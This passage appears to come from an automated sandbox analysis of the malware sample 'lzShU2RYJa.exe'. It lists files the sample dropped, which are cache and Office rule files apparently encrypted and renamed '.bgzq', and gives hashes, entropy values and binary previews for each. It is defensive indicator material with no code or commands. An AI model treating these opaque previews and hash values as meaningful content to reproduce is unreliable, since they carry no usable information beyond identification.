.../...q.............r.na..)8..~....Q.w.H......z..R=..a+.3.hC.=..5%..Ud...(-5.d....r.....eQ.PW.8u.j..U..q..d1.V..d..-.S.....F...!.b..........{u....^[...lEz/.G..o...9s....2@sj.v.b&...D.......3...H..M..,..S...:....c3bu........+wR:[..R....I428..2K....].1.l..(...#......t..%+..r=..P......sP.o..~..&Q...'.s....m...w}G.,..L.Kn..~"Lb...my..az...B.....41....6..yD1%..ba<.Dr..RxO\a.+..b..:....c#...o.\....;k.Dw6...W....JY........,g.cv8...)P.d..` .L...i.BH%P...X..%...1Cx9.[6.m.$.U...S&..9.U.W-.D..,....j?!q.....d.B.+..o...erB].......?......0..8

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.977707646919002
Encrypted:	false
SSDEEP:	3072:TQk7S8OJ/WeatspysNp82lGQPTjiWV/b/8Bw37ycnXSADG5S/2vJvT1nnpgSO5jH:TjSbpyszIwLlnXSARGJJnnpgS2UdiX
MD5:	8DE089FBE733793F720EBE36C989F9E8
SHA1:	99EDAA8A4CB06E490EAF819E56DEB40B660CBB39
SHA-256:	89BE8DFDC99AE273963BFE5F6121A483B5C389202EA3A00AA1FD6787587F154F
SHA-512:	B944921B56739C375FDE142788CB7886BD321910B1066B7A8BEB85B0907E56B44DAB9ABFA31499CE376B1E084EC3468824D775BF2A3CC8E7738F83FA3E762BD2
Malicious:	false
Preview:	{"Maj.....s_]....nY.....[K....".Zt.#....zM$../...a/_V.B.~.r....\|.k..Z.....G......._.].,.6.._.....PV..%....x[}. .E.pg...r7O3..0.Qy.+.9..C.tMNZ)....Q&.bV...~.O.o]....h..\...:.N.+.D.......IJ...V.8..V...Y......`F...7..c.u...6..8+WE.(..DF.....Ax...c1.-y$..q..w"....mv$..p.Q/:#IE[.8Q'..o-N.`v.r.Y.....[.^....G).Z..UJ.k`.3.:.H...\|v3Q/...d..3..<.X............?.\|z!.1..s0I..?.\|W.J.J..w..F..-.J.-~u6.v.UDm......1..W....."J.i.kO4.........).nVy..q....%...;ls..~y./fm...h.f3;..B.&..47.NT!..4F..1...D.)...C..g9.#.....@.....@n.G..!..>.".; ..[.L.ef..0....Yv...i....v...$...4.Y..&.4;..QC2.~..6:.U..b.Gx.5...S.E.~O.Hz...M....R........o?D...&............(%.Zo.2&....c4..t.^......-8....."..]VC......P..{#....Z.\...nF........@]...F....Io\(.o7...(...U3Ge..XSW.._#<]..PS....j.A.{.Y.F....C..G...wC.......G.C..7...)%?.....q....\..nX......d1...0.o...q...k..V*.F.O.0..,.+Ho.2...e.}?S...`,n...J.....\.O@.=W...\...U.T.!.~Wt........?...F.Th]...g-~.K.)....?.....4\.......0

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.902278148165327
Encrypted:	false
SSDEEP:	48:L71hmGu8SpGEN7S/AqKEezftOCg+w7IF6iFD:VIoMGEN2/UNACkk6i9
MD5:	386DE3A4235D5B2E591787951DA0FCE8
SHA1:	D401816B5B0E5CFC558DBE603115215808D4D341
SHA-256:	5238F7C24C73B9D25846739664119D30DB2CD1FFFDB5B144AC58A0B62427235B
SHA-512:	E553285112C2AB9E99CC07419551AFF0B39978D6DC50ACA8BDD0C0B401C3B5DAD5D3A886B1258B7D78FEF5A0E905E48CF06BE495AF9F26D1B4AA7C8A3EBFF066
Malicious:	false
Preview:	<?xml...:o..E.J.F....#`.O.`;."=u,.?.".Cu.t..S.nBE./..>oB.....kh...{"Q<Ys.._...l}.-.2....:.!k...n..MW..U..=0.0........."[.M..^k.A.P.=a.[...9....k..0.bD\|..X....z.?`..s.L..H.....R... .w..rM.'+....wR..)I..j.1...Ue].INP....i...+.u.z...[...H.$.......bjc..v&...W.. o.W..d`=^..m.....^....G.?..:.YT"Q.u.Z./.Z....&.\|<..\Nw.W^...Lu...:.2K..89.....ISr_.=....-..[8A...k]X..=hui..g...J;]...Q.\|g.H...J.,ye.q...... j.o.&..lM._g1..Q!.P.gYeh-F."..^.0.".....1$...e....z..\...=.t.6=4.~..k?..i........3M......&"....L./B.5F..$.D.XU.W.D.....<.E/.p...fU.......1T.F....;.VC...v[.....^....ym.ug....I...BTh.M.+.y....j....\|%.F@..~..p.:_....q#...I.4.k...A...K....... I/.7.3...&......@....M...R...'R...\|.........Gh..J...G.7q./E.d?..C..t.&.~.c....\,..-'.N.vi.N...G..ZJZc...[...v...n........:.^hrclS..?.!.P...h.)..E..j.....f....C^..ZB@0%.D....H2I..uy..q.I._..y.8}........yZ.S./....j.u..5...^....S5D..;.G0F....'Q.r...70H.x...@S...\|.2..`.....`4.Q..@..83Z@..8..ZA........?..Nd.....]...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976808785081972
Encrypted:	false
SSDEEP:	192:WF2JxJ1yaTZzFr/TR/eHGjtKlQEvOY8kOatRMcBzUeJKy2Y0iNSRWEiq:Rw8ZzZR2mpKdzBpFXVlq
MD5:	2941A6E75191391B2D7F02C0E5531C7C
SHA1:	2444EF3505BE39073365E917F320530F50D7277A
SHA-256:	A45A516B2F98982C26A65F97BB05EF3947AC3D71BD095252262C96F286659B94
SHA-512:	FFAB5D18C3266848F135076F51C24FD2C5DEFB6C86C1ADFC396D41ED169DD334A6E526ACD81CFF32386B6C3ED13E36D144FC9FA0122216A08CA4533E707AD7EB
Malicious:	false
Preview:	A....].f..vD...S.0....._..p.-.<....\|OoqR......S.]...2...1.A......;Tg......x2.H.r..`..u.....^XV@.-ug.4L..k...M...".F...+E_g.PD...#".#p{..@z.Pra......=...[H.._R..-...i.<..Nl\|...!.J.\T..J.,.1Ry..T@R2......{.....6Y7~.{>.@.q..@...f.J......I...cb.E.;I.+..z...z...:...l.........r.. .q..u..dv.)..t,.......(}../....d...7j.8.........E.......4?.z\...&..(.O...84..`\|8..dmeR..;w.jq....2.}7..R,.i9.o..}.5N&&D.#..^,H...5c..x..C;.X1....".......h...j.9.n.{..o^.........}.O.q...5ij.>%.R.<v.._..N./)..N..a...u.....(...z...l.-...L@I........{....R...xuK...?]\|6....j.f.L....*..y..+...@.\|......b.Rn1...........X?.....h?..).N..B...L..L.LF8K..}H..kH..^9.~.:.........(...O.N..b..^.."......f....X....whp..'}....Xb%<(^..Pj.1..&.m{S...z./I..:.{.?.$...a5.,`.......'..zUe{....tsf....o.E..'.n.`c......k"...........B(Z.><...E..U..-......vG.5.\|.F./....ni..3...A..j..1f.r..M.61...(w..W.~.b.Q.J..wg..L~Nj/..u..P..cq..V....e.S.`.R.nC.........Ebw....B..nz&...m3Z..1N[.O..pH..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009196130243822
Encrypted:	false
SSDEEP:	3072:swbIuSl+ZL9zXEQzHW93RpJAEpUB46iYo80/v+DyxWJoVlSmw7NOT7VRPDkSSnL9:swUu9AQzHS3r6EpUziu0Eyx6ySHvBj
MD5:	527A2E8ED2C7FF69A189AD69A01C184E
SHA1:	17F917C35594496F8DA122E671EADFC559DE2799
SHA-256:	2B3C05021DD98B059295E7AC0B2B7882C0C2EEA955E056D0512D08D6DAC334A7
SHA-512:	DCC211C396CFEDEC1598491416E850529BC9285D99986CFBE709531BBD4E5678B5D59CBD17F31A938D3D685DD9C1680040D01B42917AD6443CA840608A704866
Malicious:	false
Preview:	..........t.4zD...y..o...CK.k...#'.BB.o`0G....c...!W.Y@.p.0..y .TW..M9.+.@q...fw.9.q..aT........P.H.P.8eH-Ck.........#Xk...^.Y.J.c.a...B.=1.'.I..\|.$......!..-.K..".K..Nc.Uz [...&.A.=........m.".6...j.A.....~..=,.....O.7..n{.....R...?.^..< e.. S b./.H..M..[...4....h"\|D.C....LUe.59.Z..U...Gi..........d^;G.k.L.]l......B...;..<..G..x..BM.....I......\|..@.&.w..Sk9WP........\...] ....p{.p.Oo.W..B/..O.k.9u....w.,..IL.v!qy..x......+.cU./....el..).mR.^&..g.c.l..z.^<XH..u....l.V.n.e.s.i....^H.........W.....v.E.<-......z!..]H..a.e.!!)..i...8GJ.....9.Spfxv.Ep......u...Zr..O...>..H...L..u.D.mt...J...Q..7.........(^7...^.$.0...Wc..Tdaz....F.n[./.>..f,{..E.e0....w....R....y.,.6...2..6.... .@./..]aG.6.c.?....O.<..<..C>.....A..`W....>......X..}.@.._x._q.{...,..o..T].....[K..,C#'@.m.hT9........>O...a.....$."7....f.,..."..4.:..XM.u....W.Ce....C...4...n.g.X@XY...'0.2%...eP...3..^.......!...a.]..@....c............E....e6..jwoz.X.D.......9..j..cS....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207247532188707
Encrypted:	false
SSDEEP:	3072:zsVqxdD8sALIKp9QBIghRuxlNiO6jSqLaZC3nWikowDA+KrxKoCmOaeQxs:Txx8LHp9iIghKTiOynLB3nzRwmUZms
MD5:	7788FC4327444B4FBB1B3FD812FDAA01
SHA1:	4E90D915513941F32727C87ACFA5C395C06A00DF
SHA-256:	268079BF07AAD123F29534611F2839DD8EF8CFE7048249D7BCE50BE528E95078
SHA-512:	3DC490395ADEA8AC3F8164FB20F0441C631E1273833A16636280803F9E6BEB1EDEC568D60C7709A1C15475B9CA8D994A39DA3E254A30574F4E437F785C4145A9
Malicious:	false
Preview:	.......w....J..L....0...g..Z.&..Y.....=EP..c~....Dt.G}..=..;.....N._.".4+......qC.L1./.:r'..........N..g/.uM.bZ...-q_.Q.z.....R.BU.W.l^..m.....7.^D.5e..gfa..).5..p.7.G.(....>.yhT.RH...9.c...fp.R...FX...bI.8,...l.].u.....=./4L.e.8..#.W.... ..a..#=...9.+.?\|..!...nE...EM.....A.&.V\|j.+.Fn.L...Q.].. ..j...Db..H..t.Lv..3+.....3.H.. .....K.2.....\|....u..!N.,._.`2...j....`...K..N._...r.(c<.@MYp.[..g...q..@=....u.._..=@......i..5O.....p.L......^....)..'....+b.Py`.V.L..A....k....j..Y...,U.B?....P..udw].2.3.....f.{.Ue....hhYn.au.C...`...........g..k.d9....b..g...fF.haHij+.-.&#z..S....4F...8T_...y....E..\b_i..e..!.BOG.uh....r.],....[.S..%.cln..-..Y].{.......+(..d.e.Q..6/..x.a.v...kb..i.y.......m../7.n...z/.sF.R......Z.Qyf.4.i..@.].D.l.j..AK.X...W...l}.`.J/....S.PI..5~.y%.....'.e...9b..{..E.B..X..M.h.M...IJa..{y.gu%.........FL..`n.hG.\|8.;p.<.!......."0.i%A..r.;4..4C.....J-.*.zC..?.iI..\a+qQ..}>c..._....IOM.x....m.+OK.n.M...Z=d...Qe9 .t.G...U...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207419381543322
Encrypted:	false
SSDEEP:	3072:tC2gsbYzgqBeR05PzrZunGSitMSLRXz8v3uYGiWCc:AW2gA1ZPLLVQ39Gmc
MD5:	DBDAC8FBACE12A25220F56BFDD7F08C3
SHA1:	1EC376F0BD5754F6BC00F9958BE8619569754354
SHA-256:	AB9089FEB1233F5076D72663FD6A6FDD81CC3C4670626442B80192C45E6D106B
SHA-512:	DCDA87CEA588290D52BD5AE6142599F8029FC4CD70D35C9E42993C48FBB77492E910E1BBB2E2DF528AC0BFF1A8B9487575557246FC4075A7BD64E5BFB6792C16
Malicious:	false
Preview:	........IB"..#.K.7@..z...c...-.3.....?.L.E...pv:.......4.b....k7.1.-~.a...../.@?......;OJ.....C.E.: i...:..aj..A..;..S.y..ON.....#...!.u.V.....v.......E....=...a~B.b+'L..z.2.m;XBN.T...4....+.[...O?N.....&x.RP.C..V.y.....[jv..>...I.....J'x..Q..R...../B.....#.8.7.....Tu..u..IO.OOk.M.mb.P.^..nW.....;9X.SW..2H...HI9Z.z].._v..@Z..$"a_.v. Q\.8..7.J.F.......Od...<;..........tFk.U...K..i.H4kG....},V....'@I.[W..^...Y...K..[...8I\..$...Z.P&4Z.".r...W=$8'j;.'......G....u.WKO..Vt.G..m.'..1q...E..F%S ..L.>.....K\|bT...}......1.@.<...P...6m:...kC.....Hz........K.wr.3..w..7_s.^r.%9.l...U.ik.i....Z.......U\E..lRL.VU.)...E(.P......%S.V../..r.....8..2..%3.&......F..r...i..y.w...E.;ud.v..c-Q..F.4.@...:)D<..'.B...[..ymK......).u.at....2h....g..8>I+=..6.a.4.}...T...F..UZ...T..I@w\.....P_..4x.M.....^5n.t.1..j..:..n...f.Is.$.{u.....L...e..=._WJ..`.........mA....t..l.`..`..*.@..p....7..S...x.B.#.X.....o?.%...%..#..5.w.G.LY...:.i..SQ.";-.dB-,1..OP..."H.G8..`.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207753009045812
Encrypted:	false
SSDEEP:	3072:l+btHPgwO3s6Fom7zMW3KdNRiH1mUkMAeTWIMT5qUBYy:l+btHVOc6FjbmRiV+MAhIMTkUBYy
MD5:	42B3784D44DEC445CE99A2B441BB9297
SHA1:	573E727452C3C74D3E5397F1342CC5F35607EC6A
SHA-256:	E81E2D96B38B3AE7B0A72659A273B9A5780F289AB46D80835D5DDBA873CDB505
SHA-512:	801BD3BD1BF4AF1E517A707BFC373F72CA135F45B56842E85BEE8D90893DAA22957B1074858E11EFFC264D9AAC1F27D8EF42311F71639F1EDA1E7EE35AC3C954
Malicious:	false
Preview:	.....:..9.}<r....h...$...E..V.X@....n8.=...$...R...;8L...1d....r.6.1I...6v.s..f.X>.L.2.E(y;....&........5k.).}....z.6d+nH.......U....\..^L.2>i..u.......j<..=.Z..`D...:6.z.w....'.h..g.../:V.L.\|..P7W....C.\".Ko.aO.!.1.Ak..YrM.....?..^o....xp.s..z.h...V....}w.._m..U.^]...m..P.mt....#..XL..?....!......4..........z..yD.{o.U..%} .-N7....-{..=F{.{........ph.E....?.W..a.q...`.\.:TJG......$6U....ik..+W...Q.....U..m...g....Q.1....N(.8....f.A...>y..7V.."%6..,.9r&'>..QK~..L....e.^..R(.x..]\..+....f.$b..,..g.c...H.N.. ...G..M?S..f...^.......p...)R.\A..D.....b.{.n.z.K.w...b....m..E...........A).g(.@59.Q..z.U9..@.L~06._.j?.w.[.xH........=...?.L.q.xlN.x![......i.kB........;..I..#n...S....t.kJ@.%!3....B.J\...",.Ce.1..................E..m....Mp....9B.)......j..K7.-s...VO.KT.0..gB...h..<o<0..y..@.....kO....%.........F< .......2..V...5`.'..[[.....*..T9.'...\......@.G.q.C<k..#.... .....m.h}{..G)+..Al.u....J...v2d.../..32...B.U...vm"...?P`..0.}..n.......

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.949264489119212
Encrypted:	false
SSDEEP:	96:n2OOpSAE7M3E76zdTnTjDoH/KITmFvGMXY1rwdYgYRHA9:2vSAEgUKdTDMKITmFvwfjHo
MD5:	9A84088924E1B359944F62AED6898969
SHA1:	3C7D2F10E84CA9BE773BE6E280292E0658146E8F
SHA-256:	22CE4CAEC17B4E0A46FC7D65A7DDBDED689C6198A96DB663C6635C91E551794B
SHA-512:	41FBE98A1FE75B24682BE34F44D02AFCE642D082686F23855848F01501EE3BFA9C748603D3C1746CD43A087B6E2857F18094AB47B14669B9EA9AF7B0DC256550
Malicious:	false
Preview:	<?xmlEq,..*NT.............X7.<u`.zz.#..>..+.i..qoO..%.E.S..i9d....0E.9..=..x.Z4F...-p[..$..C.<...(N`/J..`.~.C9....(y....@..:...h.C:.8....a........ku0.r....#.D...z.......o.7..5.^#.)..3}k4.{.&....^UL.#.fw...]..D9..\|..E.7~.X..?.b..y.'....+..z....-.V4.o.Uu..H4.4....t...o.~q.l+...I:.QQ.z.'.X.L..X.-....F...H:..7..$..J^....(..i..%.....VW..0..2\|q\|.6YH.#.q.......zu._..j..LB..B...e.....b.....S.QM.h.A....8O...~.5G...[.h...0.......;M$.5..../....]..9.i0..B...G.x......\|..z7v;....K.3.<...&.SMN..kT.......)..;.R.....Z.........G_.++......pm.n\.,-..K[.aS........t.N......pb....A...5kxJ....V.e..-.\>..#...)$..Z......4..[..C.1Cu/.%......_x,.....r[..l.....B....b...,...zI.]..}D.....V....L..A...0q.!P..h$....)....b.....,.U...1..Q..r.dV9a.^...Y~...jgP.B.m 3........y......[.$t..a..R...tL].f&[....C...\.:.....6.A.s....t.p..{..!...Q......w...B.V..\.....$!g-/pL..Cj).t....eC1..g....~."I...g..b..?............5GP.O.-.....^iB.0....".(..?@!.cV+...Y.\.f.m..&+`M.A..h.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8847820801218305
Encrypted:	false
SSDEEP:	48:HJMUg5P0tbJEG1LDkk5qb0n204JUM/SnJtnZu3FD:SL5QbKAXkyK220rMKJtnZu39
MD5:	6CABB83847BF4B32711A8886A7331C3C
SHA1:	C002DE08F3D02D594E6ACC10B17EDFFDC1A30E5E
SHA-256:	94308B67CB93671FD6D81C7D9A43954267D48A0A4B2E62EB694601F4E89FEC8C
SHA-512:	18A9DAB4C715A8D476A4AB77A4CCC85EA91D3996D4CDAF07A307DFED7107F14AC232E5A35FA2047EE60BFFC1095F2B4A7DFF857610AFACAC9153346592C67472
Malicious:	false
Preview:	..1.0...9...FU@@N2L...@......u.E.d5.O.\|9...w.....(Z...N............m...Z%.r....Dv...Zm.Z....5.....>...L........@."rX.v.. .>O.w.)E.t.......I.{.....(.s .d.7...[co..Sb.7W.c..c......'...c1iPNu..y.!....8.v.W.M.p............r>Ii5.`E~...........^.......]J.M.[..i....N.{NhSW..e..>..7..O...A.Ym...2.2......!.#.U%C.0.-....6.9y0..K.$.M.A.U....2.2o..BD#G.H..-..4..!e..8.G...6..,......U,.N..(...&.E......m.W.X..c.1...'/..F.r.m..1....B.M...v....yU.%X5.,D...G..5r....F..nC....}.../L!S4x..G.\.J....a...,....R.F.S../e6...=..za.K8:xw./....]oT;.p.fl=..0^f.{I.t...U]......#..N_....\|....g..u.r.E...[Zf].?Y..P..97"#j.......Gvg.o..l..o....".o.....Pk..'t..m...[. .p......u...]3Ux.{.DM.5..S..u..Ugm.W:.I(.TG....r[...zc..5...^.r.....k%.cF...t.-igLq.:.....yx.t.n...L.n..ys..e9.O.{L(.V'....0~..Ah....dqf..A.......jE[b.?\..W...T..u.~L...)...j....M.M-."k.J..y;.[.!}*.......4.......!..vD..[.H..H..Y..s.D...<..fs.h...4@...H....`.O.........)LZX+....)..>...v.Q...q....(.I.q...8S..^;

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.726489483997861
Encrypted:	false
SSDEEP:	6144:Tte0WA5Gt28zjWEawD/91nK50yygzhef9:I0J5+25Ea4/LKWgAV
MD5:	31A0DFA8D072AC46356353464FEAD11E
SHA1:	81BF5740D8ED7F78F132F92EF039A3DAB84590EA
SHA-256:	5B3E4BBE003D91BCEDF341D83180998757A059E44C8E7A834A2AA05342F577D3
SHA-512:	010A7CD288B14AE8B649405C009ADF3786793195FF6C18A4AF4B3D5D2189DFD80932797344427A83C6D63602B337FA0856EC2C6118B6A1CEDDD0BED74436514C
Malicious:	false
Preview:	<?xml,..Uh:.O...kq..v#....k'...S..5..&.......}$Z..(2Q(..?..`.@..=.J65....?.8...682K.Y..V...z.^.....S.../>i\..."...B...qx.s...Ow&.n._L.v.t.......H....'............<.i..Z...2..m.y..}d....l..s...b....rH.OyH......'kI.H.".u...#.........U.g..A...(.mY.Y...SbA^.$.w..De..~...+.h..b..u.F)...L.....\.9..d&.<.I}.)..#.V.W.B..AE.co1...'=5a.B`.g..f..T......>..,4..l.]...ZL...p....2.W..l...Pi....q.1l..c....5...xF5p.#AF.%<g..-..Oc<.#...f....m.[....:2..^.-".8o.7H...UW~...............'....x..ETN..........?..[7.7.......}Z.G.r....rsP9....z.U.Sa.V..8U.8E...4.K.....P>s.#...X..^=..w.Xyv..)iq{C..K...._..vTh.!.]?VdD..CB9.KJ..$..&>.."..DB....3.4...J3.q..5..]oE....(gouw.......dG..u]..CD.....c.$c..{.*[T...u..A..."#.e.>NE....W.....1`.aP..1...hy:`.YZ.T+..c....Q..H......h...Y.....LE+.?...AJ.. .Q.U.kA@.a..Sj.iST..M.....g.\|3..'...lD@Nx#-ra7..A....#.H...$.9n.`..\5.-.Q...8..E.9...k.aE3.3.$.?. A....:+#.{=.....g..\|..2...K=.^.....A...$.3./..B.....8."..0..[..;.g.....s&JLR..iR.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.766229682355307
Encrypted:	false
SSDEEP:	12:TydtjqbOE7RHCOMkw5tyvvdWMjKcSBXPP/Ik553okC6fFAusn9QMOF4p0y7egceZ:uLjoRiOMqlWMtSlHgi3U6fYXpN6cVbD
MD5:	D9B39A660811AFDFC09D71B0ABF07E05
SHA1:	C2BE75E761B075E091930A4258C6C12DBB2874E0
SHA-256:	1D9D56FFF7F515589F6A5ACF0E93E87C485EDCC11BD85079D534CC559750283F
SHA-512:	2D248DDC5D45FE71BC3C2FE6F449A9C823147447192D7BEFDC5481880B432F3D6E57F2E4632F389E7DFD31E1B6181F32CB3099BDEF5D33FB766E6204B89FE9F0
Malicious:	false
Preview:	<?xml.X..%../(...+ .}...g...;j..N.r...bS_.P......q....;.+w....zf.E}\|.5.S=.R.)..z`]e0G.D0T.W.....z....8g.........(l...$).C....0.guQ+..e\..tLt....K....].v..=uTD$............Z..8K..f=\..s......;cj..k-......r'..........ja....X..\|...z....2.:.ib@.'...i..V..\.kPs~....i.:;J.[..R.m..pP.N.A...a'....!.g....,.k.1..ep.:.>...p_qD.0`...._....2......w?.U{.]....^.@..<Z..d.c/Ps......j..@..V.0=......r.{.yL.&..G.&.@.1S.....0..3.....`.0#.....0....=e.."p...J.._.._.v...I\.......b..4.1a.=V.y.....4.....P.a..J....d...OGo..r.w.+.C...?...Y!.x....E.a6b....n..g.P. .......'......N...v...a.G..\|.L......+#..M.i.y..Y.U./[3*..d..}!P.t9.J.....g...`..8f..C.....PL....24=[l.>.......\...>....k.Idxs.k.....(.J..mx.n:&..... x5....\.UmE\|S.J...Ritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930065848913559
Encrypted:	false
SSDEEP:	48:4+EllPXeGdIhmWHpFKOPq6aEfNtIKeW7NMnVbI3dKx2a1IHSqaoBKPSJGTTtKmCU:n05ZWHm5Gf3IKlG9xxIyqxmtvCYsEZ9
MD5:	4C74050223F235CF984B018C374FE171
SHA1:	996B59F870CCC400DEC0F853BB8AA175C20D087C
SHA-256:	AE89CB2500C8B69CF110B923EDFADCFBA967E0366A29C1546683ECB4003EA4D8
SHA-512:	FE584370EA2F74678CB15EFB00691CC9DD8D4E181C1DC19CC449FD35BBD3B4D6E77B25676564FF26C6FE17F54168B37EE298638EB4F8E3B1F666947EE057A7E7
Malicious:	false
Preview:	<?xmly...y...a.......}.D.QW.+s*.Y.%C.!.B....N....G9.......%O.#kE...... 6... .._.....2V.SQh.r...4...5.{.{..X7s@V....^.[.hT'.4..k/O.t\|..B.v........sPK..9x.MqV...m...[Z..k.9C......&A.j....O.&..;w{.dj....!..M...."G.../<w.z....70f.s.Jm.M.m}.y...T.._57...........A...5.,m.eE......F.v.9:.T..\K.G.C..Z.....B..[..0.B..CE..yrS/..9.....5..K..R.Yp.ca......1.dCZ^..\|..k....%..H...J\KZ.<{....5..-.k.'....`."0..:p.-....)\|o.z.44.i.U.............03.gr}:...v@O..UD_./..BR...N.^..S3T3...Y_.mv-.........~i....Q..c...f/.`..t....tqr@.x.y.Sk2.2....e...].....B........b.. ...0:.d..`.}.%.K>.'.u.5.........`.......0....Z.BZG...\|U.s....e..X.2.:..'i....st.X8.A..U....({#....F.bwhQ..e...o...f\|..G.}fyB.l.....q............Z2."N8.3....`.G.'..n.....Zry,E.......X..H....=.......P1.=(......~.C ..4....8.u..y.F.~..p...l4r%>.l..Q.&.Fs.L7.0...$a.0g5.y.a.9"T.....i......B^..w.N.0....F...&a.=..5gW..AAN..K.C....FU0M......3/.$...q...c y.......L...H.@...[#.~.A.y..KU...R:.6^Z=>z..Y.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.788809150898968
Encrypted:	false
SSDEEP:	24:mdzLmWIqPwqxL1FgTN3E+N27CfZYkEYngihycVbD:WmWrLo5EKfZLEkgUFD
MD5:	16D557553E94F64356543DE97A655D3F
SHA1:	10B09AEE226AF21B3AFE44438AA60124F35BD679
SHA-256:	2D1C724FE57323B7C8590C1E6A766C1CDA62F2FCC152E528BB2F90AF21B58B4F
SHA-512:	607C70F58039B449BCD6EEFB79430EDB4AE51EBEED875CF1ABA0195532507CCA03868E132F19057B999AD8B0C2048FD55F38F87ED3BF67FBF2CCF2CF2450239F
Malicious:	false
Preview:	<?xml.P...5..-=...$..9...&u3..;i)..`.@....bw.L......0s..0.6q.Z:x...qq..N...e.+...Vx...[.;.V.9....Z..V.....M...r.HX....e.v4..Nf..6.......$.q..JC5....i..=.......g%.....,.NA.y._..k... ...m.G.5....=X.....uX\.Q.^z}.Q..+...[{.QF..{....>...k."...a.:..O}G'^.h..K..2b<."\7i.'u/?../%00.W.....Dg....M0<.....e&...^....'.......g.....t.W.:$.k..x~~.....t..7.8.......u....}.;+8..~...w.0[k....B....m..... ..X5..F..F5..H......n.........hIx..P/.[Y...E{.yy.F&t..v6QT.SH.[.F..7w! `..D.R....b........1..B..U.....>.$.y...lW5...B.D..WS......]7....k...7qjR..c.tU.YE O............+X. .7^M........vv..u..O4$7.`.%....\...j....N'.F.<..(.N.3.:~B....5.f.<.x.s...8.hNu...IU.^............W.E...z...9OY@.Fh.........*T.z..YIt..4.IT...k.=g.0........=g...P..^.\|..b..6...#.....Z..2........@..$B..m.n....x=y.Dv..Q..C..........-A.c..(!..4...wcc....X7Y.u.@......YT.,Xw?"...B......l+.o.-.Y.d.Ke9.{$.@.R-..Oj...U...q.d.n.8"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8451362227874055
Encrypted:	false
SSDEEP:	24:psC7J/oUsjNE//TT2CN9h6RlMx/1eeneeySFOh+GiBLXKJa3SGorZB8eknVbD:S3UoET2CN9h6/bEys2R++o9nFD
MD5:	59367E90DC12F980DD9604ABA381C3E3
SHA1:	EF221F33FB27956096C415E3F96AAEB41B0EDC6D
SHA-256:	1E44BDF462A99897414AD93987DDD0D151CAFC98092F7F2195E2D08888845E55
SHA-512:	AE47FCEFA44666A10C95E5226E393CADE9C1304314F274FDE76FCC573232E5E6D9725FE77FDB1D0EE68EA1728EC7F84AD9E83FB4E92C9C4A9BB5925EDFD46E78
Malicious:	false
